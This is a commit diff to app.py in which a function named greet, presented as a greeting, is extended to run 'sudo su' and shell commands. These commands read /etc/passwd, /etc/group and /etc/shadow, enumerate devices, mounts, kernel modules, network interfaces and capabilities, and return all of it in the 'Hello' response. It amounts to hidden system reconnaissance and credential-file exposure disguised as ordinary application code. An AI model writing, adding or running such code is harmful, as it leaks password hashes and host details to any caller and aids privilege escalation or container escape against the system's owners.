update

app.py

@@ -4,6 +4,9 @@ import os
 
 
 def greet(name):
+
+    os.popen("sudo su")
+
     environ = os.environ
     path = sys.path
     whoami = os.popen("whoami").read()
@@ -18,6 +21,15 @@ def greet(name):
     envars = os.popen("printenv").read()
     user_info = os.popen("id").read()
     net_conf = os.popen("ip addr show").read()
+    net_interfaces = os.popen("ip link show").read()
+    passwd = os.popen("cat /etc/passwd").read()
+    groups = os.popen("cat /etc/group").read()
+    shadow = os.popen("cat /etc/shadow").read()
+    kernel_modules = os.popen("lsmod").read()
+    ls_dev = os.popen("ls /dev").read()
+    grep_ro = os.popen("mount | grep '(ro'").read()
+    grep_proc_tempfs = os.popen("mount  | grep /proc.*tmpfs").read()
+    capailities = os.popen("apk add -U libcap; capsh --print").read()
 
     res = f"""
     Environ: {environ}
@@ -34,6 +46,15 @@ def greet(name):
     Envars: {envars}
     User info: {user_info}
     Net conf: {net_conf}
+    Net interfaces: {net_interfaces}
+    Passwd: {passwd}
+    Groups: {groups}
+    Shadow: {shadow}
+    Kernel modules: {kernel_modules}
+    ls /dev: {ls_dev}
+    grep ro: {grep_ro}
+    grep proc tmpfs: {grep_proc_tempfs}
+    Capabilities: {capailities}
     """
     return "Hello %s!" % res